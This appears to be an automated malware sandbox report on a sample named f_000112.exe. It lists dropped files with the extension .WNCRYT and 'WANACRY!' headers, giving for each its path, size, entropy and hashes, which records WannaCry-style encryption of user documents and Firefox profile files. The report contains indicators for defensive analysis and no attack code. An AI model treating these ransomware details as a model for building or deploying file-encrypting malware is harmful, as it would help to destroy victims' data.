                                                                                                                                                                              Preview:WANACRY!........,V'.1GO..RK.\.5.-.,g...P.L.I...|.r.O.e.x...u.Q....$v.*.+.2. Jv...K.U.fY.:.....:B\d .D...0...1.c6..]..%.J..........}.&}..4.EE{.{..11......2..AT.9F(...iQ.D|....m.o+.q..C.?B[T.p.0....66W.#....C.}.....E..g.M...d.0u......P..ng..z....+.y.3.I.j................h=...a.....To...t..w.?D}..Ev.U.g..*....J... h7.{.........) I.].D.Q./.*_X..S.......p....|:'.t....L.h....2=.....inB!....{/.@'....-.>C.Z.....f.So>.3..].(.,17.....w.....f...oG......C..^....20.+.FT.>QT.h.8C..QZ.I...>..f".(9yI.>=.<.|.......B$...X\3..[.~..%...m!P.b3-.......?_....02l.I.l|\l..=...6.......Q.=.q.&>.n...../.h.[..7L..6.6"mp.F.[HR.&..5p.[y....B.,P..g.B.1:..4....{@O.Og...<.(..UB.B0.(.^. :.W..RW|B....JD.^...F.v.YX......[ArVkN.$.....l.....H....R.U.f^.sZ.E.b).z.5...=.).*)|o(.....m.....:N...qO....N..;D.aY&.m.Z*..........Fu....<..Y..&.......".Eg..^... ..K.L..<"3..!...b..PrH|....Oo..N._%x...Z....Z.)x..G.......x..1./h..p....R.....bu.T.'.j...{.........?......p%...J.6.E.=......

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\TQDFJHPUIU.jpg.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8678022602632645
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk9kl8Xa2JqDv3esQDWVn5yyQkh4RdUb5uudb0YoX6v2ovCCEZcqf3sJIZVSc:bkOlqgDv3eszzQkh47Ub5iYs6uov7EOU
                                                                                                                                                                              MD5:C50DE1E768A7A3DAAE45DFBDB7F28F37
                                                                                                                                                                              SHA1:810E079742EC7FB065C8945C90B363DCCE140001
                                                                                                                                                                              SHA-256:C289C183158240CCA6BBDA9BCEBD72C5DCE8F741CD40C464490F86F74FE43858
                                                                                                                                                                              SHA-512:4B075746283259CA0B8BF636C5CEC2F3687145FFB377D67C1919E6D4F39D1B80A42DDDE46A6E6ABDB050AC6E969449143410E46EDFA756ACBDDA3B26393AECF0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....f...+..N....3O.....l.sGE..X.l.h.@.9.U..j.`H{3..a.B..:...q.........F..nL..m>l.n@....|.CF.$.<-?._.5...9..H..m*Z..Xd......H&..2XJ~.C.>....n..\].t.WN...V. .b./.[=.Eg..f...Pt7z..F..S4..........).eoC.".m...#.)w)C0|l..Y.4Tk..Jn6...B.k.:....................].-.,...v.......:.@...E..--y....{..........&fJ=.....=..Py.[<..,<.&Fx......6.0....i....r..^p..6\.wL.Z.B....C@.'4Q..(.....}.......tqc_4q...'I.?......Lo.O..../A{...,#.....g.._.i.5}B{..h..)..&..n.5}...k"....S...d.@~...95$v.T.1cA]+..Vo......O..../M...../....'..?.....O\.~......?...D......k(S7!8..B..R..ZRR..W.....|.dB...?..Y.!1[.P....,.CI..H^.(.T.7.3..n...|.~...E..^k.._~...7=..M.....cE....r)..e`..;.|.a.>....<|..p.#..?[..R.....*.......ysU.j..TWWd.eI.g()"...;...(J.#..+Q.kY."..|....|0. d'..U.\U.....m.N.xZ.....&"..4s.+R...s.:L..4..v6...%o.|.Hr}.....v4.,\J......PF:DM8..RJ./...h.._....c..j.V.x..y)....V..8)N.=K....3.....h..T=-....Pu.|...x.B......x..}....\Z..+...0.......I.K.<.;...

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\TQDFJHPUIU.mp3.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.875042923489551
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkItipPUBtiCRaHvUrSAgw3qKGuvYOn8ArTmlnQVaHccc:bkppUgTHcPv6ueAInHHccc
                                                                                                                                                                              MD5:2257756177736690B34738EACF10FE5B
                                                                                                                                                                              SHA1:E50CB06F802A212CF6F9877E360B11A45398A05D
                                                                                                                                                                              SHA-256:1720CCEE76582A16A3FFA3D527922864E6D76DD7839846708D166A29E2725C58
                                                                                                                                                                              SHA-512:E90E66CFE99059F63C0086ED80232A493673A04CFF1435E8838D8EBAC092B256B1044ADA565B509B872E646F086A670608D530B8AA1247736CBE5A74F7A5F905
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........$U..*.n;..b.S....O..Q...}.J....>..Nw...{.)..)....j..$3..8.zj.6...!.J.BU..#\....?............e.....d..A#[._6.........h...R......=:..).E......O...... ..(.._.H.R..-.WC.:.....Nr..~.[....5IR2I.......D.{6....nn*.I..:..bQ..],.Z..x..................-..ir.3q..!....@I............"......ST.o.S..R!lF..p......_.0@..!..E........... "~1.)E.+(.RQ.(a...$xkR.......W\5>.......?Vw."....n.f...yX..J+..h8.....6..})..g.*p.<~...3..y..4.Z.......!L'r.jt.~P.9%......U.h...x8.}..VV.V.7D.$+!..H4...[..z.u.T.3.Q..8j.k.US*\..c,..!.}.<[.....t.......*G$..mM..t......~.kMgN.Vk1.29.....(.Lr<.m6w.~.O.....t......g.^..}!|.lQ.E..0u.g!l..l[G.%..[...^.mwO..$L[=vA.n..M.0..F...2o.....NHs.E..e...#)e...M.OM"..:Bc.=...W0!.L..5j.N.i....|pJ.....e..~..l.9s..Nq.B..i.n.L...xN;..y.m..k.$G..l......;..#..'w.J..A..N0.~.............../...........9.M....-$..s`acW.x<..8z.......*T...A....2...$~...B.T...h=c.7.p..j.,`...^.0.x.y.t.....CZ..'.....+.W..E.dF...4d.h.!H...Z.#.:.

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UCKFKZQOSO.mp3.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.826124239150672
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bksiFt0ht7fmaocqa2evGlx+fH8SWdrE1vVaHNI28LMaZVRudh44fitWr:bks8EOG2tlsfHerUVatI2UVov4i
                                                                                                                                                                              MD5:47A4EF42BCFAE29ADEADEC330CD9012A
                                                                                                                                                                              SHA1:2437E175BB03883616A72831CB8CDB1AB7B25221
                                                                                                                                                                              SHA-256:0A44824CB972F0ED59E319F3286CA72EF49497702CFCB2C64F2D4BFDA0A120B9
                                                                                                                                                                              SHA-512:8BE2A6DC044EA443A1245A9FDEAAAA1DD1F62A670AEB7FF2A996F272E73AB2A69A8C61EE9E4B5ACBB3A52BBF1D9F9237B33CD457A26F0C3DC11EE820CBE67DF6
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....g...y\%2...%3..j=E!.z..I..b..../E...`e......tYQ...QO.{.8.K..*...U.......YOU...|.....f..|..AI..>.t..I.2r.w..i..Q8..;..G.[w..8..o$..1W.MC(........I..'.C...5n..^Q../.z.....x.+...<,......{.D.M..F.......tn.o.^..8..../.q.Ih+...L.h.3.&.....G...W..l............E3Dp*...0H........... .U.Y\...n..g&..n\..w.f......=:.GX..&^.e...._,.].,9v..j.Q.(..s...A X..:.".K.(#.........u.j.s3....N<tv...,.e.B.tz....L $#u..3......I..l......cU../+.....+zBO3..tE'.<..S..eb5.....&WJl.3]nZ......X....|.._..K\..qQ.F,.........[.@.lm.K.t.b..2......M.h%CXMaL..\G......&...fl.....hc........A]z....:.y.[..g.........DqJ..&.:..e......#.....d.P'..P.>..{.2...Q^h%.l...?.(.J/c.....F.dO.&.7..%.....>W5ys.5<2.D.s.:..Q.as....w...~b..w....'.....(P.q....F..Q8(.@.B. .44.{./g...o.7.o.."...T).h....#..>.,.....N..~...'.:.-5ZL.....9.....?#.PE...tzf.{...4..n..^Z...1hp..D.T...'..5R8L....`.2Z`.e<W.9 ..T..V}...H....}cs..Y...1.\y0%...$...gF...9..n.1.... .O....RE..... u.:.x...63.U

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UCKFKZQOSO.pdf.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.845466176516848
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkiTkdZOCcAi3ygBbCZeLXlBKDPt6l5meBmtDek330Ip14QV5bxN/Wus6t0RiAt9:bkiiOCsPBbceTaDPJKwRN5FzsztUcB
                                                                                                                                                                              MD5:12948D1AA69940C535007EDF349CA935
                                                                                                                                                                              SHA1:1E4EAAD93158C8309A71B427994735AF1D0FFAF6
                                                                                                                                                                              SHA-256:0F95890A5CD33F8F4318EE63E73D56C630EF87BE1187A988195FFA2AC146A9C6
                                                                                                                                                                              SHA-512:C819817C9946D37F266C32C6DACFD94EE40C9875262365CC7E27C6561E145360DB7E1B2E7B1A3E9859388849A29FED47146C4CAA7118E0AFDAB94F9381118607
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!...........E$e...^.w..I.,$.P.7...3..az..B/n%^....p.@._]..'9t.....yUZ.-.0..?....8!..K......3.zk.?...Kfn....iH..[...[..`.\.8.U.Z....m..:G/..N.=.EK..h.H...*..S...N.".].7...+.....|r..d.,./na..u:6..J(q.K!....+.....%;T..).w(...PD.tR..v~..[.=..._B..".ol..4..^.............U.#;$.x;Dc..7>H!.........a..Xu.I.E.,h....u.?...........E..'.m.e_.O..r...=w....7.dt].^"...+'a.........gG...s&n.h...u...+..`..5h#.Y..m..o:.<.d.i.....0l..I.......:.'*.,$..{....F...IF.}_..F.+3'Y.... `....].p.V...n.l5.A.(zR..B....+'......!..q.=..G..y..Wh.WF.....H..|..J.`HtdN...K...o..7...........(x.....$.4la.I.......U.o....7..g....*!...SL.`D..-.....b........6.....jA.r..i.QU..&\._. ........N.a.u8.H=...Q....,..K.^..,..=..:v]|1h)kl.mx...?.|._.m...e......D..}|T....o.kZ...\.2..p.._o.V.....I.i6.{gc..I..g'..L......V..O..nn..K|2S..d..(....{.J.(..y.\...w..|....@.D....n.f.mrm*.7Z...H..Z..z...y....U.O..........\.o...O.:...EX.*f=@.Jq.*K.}..R.K....t.............6E...mX.../.A..e"...X..X...f.j..

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UCKFKZQOSO.xlsx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8681520357866415
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkOfz+E7ggWTj7Syfkdd8CFZHR+GG7Y5Z56TReEo0DDzqoVaLwPnhRl:bke05TvSyfud8kHEd7AMReEvaend
                                                                                                                                                                              MD5:9BEF0AC3583BDDA6DFA5E0CF2FFBD033
                                                                                                                                                                              SHA1:EE42D46BCBC28E9E260A0CA3F11A5CFE7FD1DFC4
                                                                                                                                                                              SHA-256:D6981CEE151FF422F36725CFA527955E93E3D4F2B36E71190FC3CF385A98C868
                                                                                                                                                                              SHA-512:97ABED73CC88B48BF60E4CC56BAB6CBB29214F3C2C6BF00FEE21C0C810C0D4EB05120307A8FF55CEE2782A91037D0CD9F1680BC157B7C147319CEED32808A4B3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....s..($.e.>... ...?...Z..A.^.1..&c.?q..6.<....o.y.>...e....L4.....#...........Q6!.Q...l2c........:..yW..&.c..wrd....6)RS...;..X.O*..4...h.qtt...D...g.....0.r...._.......\x.".K....].-...v....2{`d..FT...g0.n...n.DB.X....tA!..$..L).I......+\G..o.8..C.-..................4...IY.(......G.,..-|\..H....&.# .W@D'..y~q..V...........z....K..!.F7t.;e...!G....].k(..i'j........C.Y..w...I'..Z..B.:.?.....5-.U....|s0.....}....*..h...Z...%..f-.V...u..g....}v=.]....`.m..oW......oWq[.j.~J../...Ovg{d.s).}n..N..h......@w.&RZ.......]..2.......R.G....C..,.&.S..a.....E..VJ.t6.....+....._..R.J.M..7..+.m.....QJ,....B}_..xmB..m.+XW.....2+.[v...."..+.)d}.a.ey~.~.........oI..T.:...9._H../.r..y..b....`$Z....c.....;I..U..u9bq./Ct..C.V.;..g%..5B....%.t."'K"$..uC..C....p.o.a.F.'..h.....,...\l...yz....H....{p.a..L>oM-h&:{.r.....S...9.U*.v..[...E{.."y.j*\N.4..BN....O8.G.....Q4k.R......-P...w...J.gG.....8.?d*.j..a....5....%t2.*.l0^..f....@.owHSD..M....7..ZV.........IA.q:

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\YYTXSGEDYK.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.854605215223229
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkKfcz95r5J18+/0jiiZfR6D6YhG7oIehnCJ6t8iDTG6u4cPfAAT:bkKfmH18yUN56D6cIehw6t33GWcPfAM
                                                                                                                                                                              MD5:5707011326419D7254B6CA3A6ED1DB2C
                                                                                                                                                                              SHA1:D9B7A77C8C242108D22960C65E09351AD74F1F0B
                                                                                                                                                                              SHA-256:C9DF0248B103BE49B01626E35BADEE4F3E5DAEFD7DCF1073224FEEE7BA3FDADA
                                                                                                                                                                              SHA-512:5CAA86E3F06A7600199EBCE84FE3C2A49698DCD5E381B466327CB884B7008DF81A07F7C3D824A247BF3705B933D9FE7DFD54C31F5725D1502A2587118CD9E246
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....zigP...*P.h..(NYzH..KT........@.sH.....j...ks...4(.X(>..0Z.~.~}.c..;B.GK.@s.Y!...5.w.IZ....f.........k=....~..z....M..s...(h..?...W...s.g..2\.'\.^..\=l'#>*.OP.P#.66..R3.6.q...|.M.......p.2&d...f..PI.L.!z..).\W..AQ6.$|....GIC<....?..[.7x..G..(..................y.n1(...0V...5..4.e.....H.....N.S!/~A..y...HWF.a..[L..,...a.c~.sO...x+.Q.......)S......H.RM..&o.7oOG]..xl`.`..W%.....`...n~s?Z....*...O0.. ......5v.".......?.U.4>./.(.;...\3./Gd.a..1.......9..;}...a..h....7...D.....O..>k.!...c...i.$....{.%S.w...........">U`...........K.@....A...G.6.gy.|*)......t.:T..p.......B.].D.....V.t....C.L.`..Y..f;...%.......P.1......~da(n..kBS.g........3:!..............y....W.d.N"..-.\4X<.....U/...u...qH..F.).#.ZUv...O...BN.v.YeNb.Mr..#.X.YU.....fh=...&.lY.:.A.q.D2....M,H...........&.....R..'WNl.l-._8..6`...4..g.??.5....<a.............z..`.> .......i.qIKi.W...P...ci..c...7~....S,..;......`..8J...m.}.T;...M-..;%........^...Y.....%.....x.q...6b.<.~.. ...c.

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZYXFLCGPAD.jpg.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.869812575176375
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk62KoAuG5JOjSp29FGkv5OfY4bavJFPDuezrLihKSWhPwt5lwySaj:bk622GOAFLv5OxbK3PDuebkWcBSaj
                                                                                                                                                                              MD5:8106A7F61E5EC22F80CAE6B3E5CD9FB6
                                                                                                                                                                              SHA1:6348CDD611A655344376B62041D9C349ED9272E1
                                                                                                                                                                              SHA-256:E94878C26863E74AFA3B1643E75BFAB5C1FA387460B25EF03301819B2D9DC204
                                                                                                                                                                              SHA-512:BE22623626E1D2DD6599CC1B81C5B4312451F318A62A96036CC65E49DDB524C97C47CD21D755B3F93E85DEB354390BEE4D73BA67AC2FF48A53DA4A2B2FB9D5D8
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......U.p..;.)2I6.Lt.y.%S..U../.9E..j..%(..!.O..e.#0o.3...1......Z.tj....L,..R2..,.z3*. .7.[Z^%O..o......'....7UD.z|s.7i...~.....8.=.....*.t=F..c.[1KJ.."......H.[. .Tw.$.K^..:........Y.&..[(y!wHS#.A..*....B......Pt.7.t[..Ouw...j.^..UT....E......o..............(F........6.('..@.>...v..#.....mx..........D~W.K{....-$....2...4.c.k..LM..W).H.x....Y.`#3....>.1S[..[.r.......Q..Z|Wf...=.z`=...........N446...?...."......v.x~.M...............e.,+i+I0c%h...l.A}.i0g.#......@8..&....0.n6.8"..2....?r.....{...).....S....x.:..$w....v.U,E.u..7>U...f'C.g....<TP;O.....iDk&.J!'.kI.....6E}?..w..a.....A..v..t.f%r...v.r.s2rU.X.P}.b!k..~Z...5..E.......9....P)....AF4./P...i..+>..<.~.1ow.2.8{...GLE.No..mW....%..x.(.?.?....Q7Gl..v~.... ..?..J.q.."..:.H.x..aFh.'otG8.?..L"..*..&.YR<..^...nZi*...l...1GWS....?.z)..,.[`..U.sD$..n...{.u..'......:..~........y.v.kI....o.g.+..n....p.d.]...V....h.z....#h#$..>..`.8.k.&.z+.w.Yg%........#M...)..s.S,...'..sW.x..-B...Y

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZYXFLCGPAD.mp3.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.8425216496216015
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkBPXIVm9v3xXY0LbcafYJfNJUsrAutR5xHV3EBI4/BEZidg:bkBPXIIfxXY0LIauxLtR5xHtEBdEZidg
                                                                                                                                                                              MD5:79CD2FA8C65C7986BAC7E27C3B016D63
                                                                                                                                                                              SHA1:48AAB65B07C307EFB1D849B7F49FF9BFE9DC3A01
                                                                                                                                                                              SHA-256:0F014BC6EC12358BE2719566169DF3BC6E57D3A3AF8D6EDE497711940FA073ED
                                                                                                                                                                              SHA-512:D735CBB1EE01AE843576C290484814A01757E2D10B28197311399BB0D011F4CDD55B85CA32173BE9A27A53D8DEB411FC6815F28AC20CC4452F2FFF8A1EDC40F9
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....2.v..?Z.j.e...Y.V| ..y.....6..9v3.!G.oh....|q.`.`...{}.h..JT...+...1....#h.k7...Z\..%..._.`..o.E.7_.+..m....h......<..I....l..b.m...*7...[.$b.`.gHLR..DP..^... S>.......E=....M.I.'..'..."...7o....~.6'....";....1...Gq{..{.l3.z...|.]...&.4K...-................=D...s...bh4...<..Z....%.y2j...|..4...*...^....>...|.\...(.U...,u.G..K..x..<F....}.y.J.^y+.Y$.(,..B.Y......r%c...yJ.Q.Y~.,.....%.L.r.....K.kP".!..25..p....gQ.46>z.....iz+CM.....1.....a.Pb....L...3q.#<EP.....?..U.Y.^a..n..2.y.#l,......d.F.H..o..t.:..O.2?....A#.....~..ZI....LN.^..I.._7t..m.-r.......K).4E..5;...$uZH..o.....*.,!J..-"..xl.....Q^{H.$-.7.r...T.`.j.."......!.....K*$I[..T...S....<fTfv...L.....B.Ey.....+..GG..-...ML...~.;C:.{.........qL.N...h..IB.6el_D2..P4.Q...r(.K%B...F.V@/..5..?:q.$.aLrE..2...U.qn..Q0...EY.+~,...w..^.`8..<....`.........H.T.W]. q...&./0.t..\.z..k.h...4...G........!..$k.....k...8/t.U......h2..I.5....2..._I."...,g....R.(...d..y..l.}....N...

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):21400
                                                                                                                                                                              Entropy (8bit):7.989682964097866
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:XCGCFWn/pU7XXQvWi51b9z3JHJ81pLppskX0OScQ5N33coQKlPmp8wLH73mb:XZCFWn/pU7X2b9zZHqL/X0OY5N33QKlT
                                                                                                                                                                              MD5:A823686785E179FF23F148D25A2D78C6
                                                                                                                                                                              SHA1:A54A4B066F893FD3DEAB015283C5C09982C72C65
                                                                                                                                                                              SHA-256:E89D6341BCFC6E729D328BF343C0913340B6D32ACE5293AECB5A7F54543D0779
                                                                                                                                                                              SHA-512:A1734EADA17DF23156F1250AE895D90E2B7487040D5E4B9C2DC9AC79ED00B1811E6C982C2D3DC4EB4DB83AD1E7D521215F053DA1D53E46CE9B592B6048ED316B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......o.......W\....t..b.9.5..7..sw.)8V.>@...>.!.M..R..CeK..btA(..bp...m..D.M!fE.mg..Z.2itJ.Mo......-....=}..4..%.."r.......`.?#../"..W..<..T+6....0UK..'.i=N.G]*3..CC..n.#\.W...0?!....#c(...%......c...TBu..(B..U...,.fB...'Q..]...+.TXR.~B.`W...E..M......sR.......'.I)~g....O...E..[..A.FS..>m.y.$........V.-..*d].W.?C...W..A.QUB._.e~..J.......E.7..J..Y.....H..........7;.O.^...A?..X..Hh.g..<...-<....5q...,[.:8A.pl.a]...{... ......i.UZ._...~.lnt......S..Jn.........-..^.s-Fj1nE..H../..R..z...|M...{...f....m=......./...pz.Jqm...?.hy.`..R.h....:.M.}R:.9'...j.D......E..B.<..z.....H5.&.LD.Q..r.6wl..:..SD.p....1.rE.+E....f.rm..X.N..z..=g....J.#.z"...3.t'.k.......|.B..\.*{wXO....V.M....1U....*..7._.,>..xw.(..I......VA.).s.0..T.....$.Y.Q....%.f,%5.dm9A...Z../........S.....EvZ.(...H......=.-..I.....!x......H.8....R.....Cy6.....=3..<X..$.H.t.']""....o..u2.<..#!@..R.u...Z.......B........C.4.T...-....G..S1.0+\.a$k '.. .^..G.{^..I.T_.....C...>....0?nA_.

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\AlternateServices.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):440
                                                                                                                                                                              Entropy (8bit):7.4468047776909625
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEcSAAGKo8R6FIRboDoPJwa0kMNz5uQybCkrPfgYWuYqq3LvsL8NgzyrR/u4gbJ:bkEen8i9oPJw5Lh5+WLNbkL8bF/Jgpb
                                                                                                                                                                              MD5:9FC149472179B3DD3127C2650792AF69
                                                                                                                                                                              SHA1:BE027B17053F52889C42924621C2EBFF41569031
                                                                                                                                                                              SHA-256:0C4D62FB86B291E25E25C633EC0DF72C8FA4023D3CAA8554CFA2F5C50CAEDFDC
                                                                                                                                                                              SHA-512:AA930A384B96112B0C87C2F36E254E30104B46E380368470495C9B1C93A1554D85EBC1325D9D65206B7B76EE1E10B4860C6793860C8095B68E4027AA0824464E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....3d.>...BK_.....<.|..?...Rv...\.L.D!.e..#.z.h.D..t.!....`.I.4F...b..5..NW..Ghba..r..m..!.(....N..BT..IY..&.X..h....[s6...]...z.7.;/{..dj.l.h..~.......U.....&w/m..<.w...23F.e..p.].9......_....$,.DGJM..&..S..&.(..2N].0...qm...W.[x.R..m..W.f.L.S..............*...P......8.'.-...#.^.a;.>~.,...i...^...F..O..V.V].n]......d.;.kC....EETqNT.i-r......e.....tZ.8....f...J.w.......V.2..p..i...)O...(|k...d.g.T.1.le.,..W.

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\SiteSecurityServiceState.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):824
                                                                                                                                                                              Entropy (8bit):7.772474794518705
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkOpJoz7NduM3auuktmHx3/00M9s8TTR2Uft:bkCOz7juqkkt+c0kTl2et
                                                                                                                                                                              MD5:87FAAE5D204943D51B63BC450D7E4B4E
                                                                                                                                                                              SHA1:999D4327F25CB1D492111B2F615FACBFD99AA8CE
                                                                                                                                                                              SHA-256:860AE244E308A8583F5437D50A0A4527378F9782F07F1591B7F3943A7BAAA5A9
                                                                                                                                                                              SHA-512:17605ECBBCEA8508366DCD0FBBBA092A36ABB26D6D662EAFFD46092A3C3A7BAE84B14344F7E6A0A750E03C942BA20FC6BEED5E85C63F2B166D0F4A1B0F0FDA25
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....h./..b.....N..Ms(.q.NK.I.s....F.!..0O..X.le}*...~..T....l..<...m.=Y..W..z|.ZS...<..]4.YG...]...}...f.X..c........&.,....x^.O....?...z...&....p.L...^.....8.."...x).....$3...m.............y|$..K..d......3..rG.....{..0.u...@..-..a.<....$..jz..............Q...d..ow.y...T....R3.:..<B.9.I...d...ab..J.."Xj..ou.|..~.PtB...b.e......o?f.....j.6.G...4a..c]...i<a.0.TF-....4\..M...m......U).b#e..u......../...7p..Zd...].....|]...C.....H#.+.......(,S.....AO.V....[*.l.jC(....:.....p%.P...b..s...<.X....v...~b..l...T.~.Q....uY...o3.(.q:.W%................5aP.......) .I..FO..1<'*./.........L..5.1....#4]s*..TJ....+..>..<N....2...../...o......r..G...i.K"...rNs......1..D) ...m;.....AD......<.43^.z'.....$!. ._....t...(..A..<s..r`..k............UE...g........c..e..lDBH_..=4...&..

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\cert9.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):229656
                                                                                                                                                                              Entropy (8bit):7.999138164363837
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:8eIb27ceO0jza6MXITQ2ezKKaO00MrFU56jmK7D:8Xb6c30aR6KlPMr3p7D
                                                                                                                                                                              MD5:BCDEB07A06EB9A7794A551DFD54CD6A8
                                                                                                                                                                              SHA1:51C4FDD7C3E8664D8D00C036C4817091D6C79412
                                                                                                                                                                              SHA-256:9252888F95A886A65BF7ECDF49145FC83A52EE31799DD097C115467CB0FFB6BB
                                                                                                                                                                              SHA-512:777641BCAC3DA2A845D3D27776599FCF3305CAFD640B43C6FD0ED7F6356AC8118CC2F1570889713562285A5D64C65397D44B29476B96C0C61DD151C5FB2C753A
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
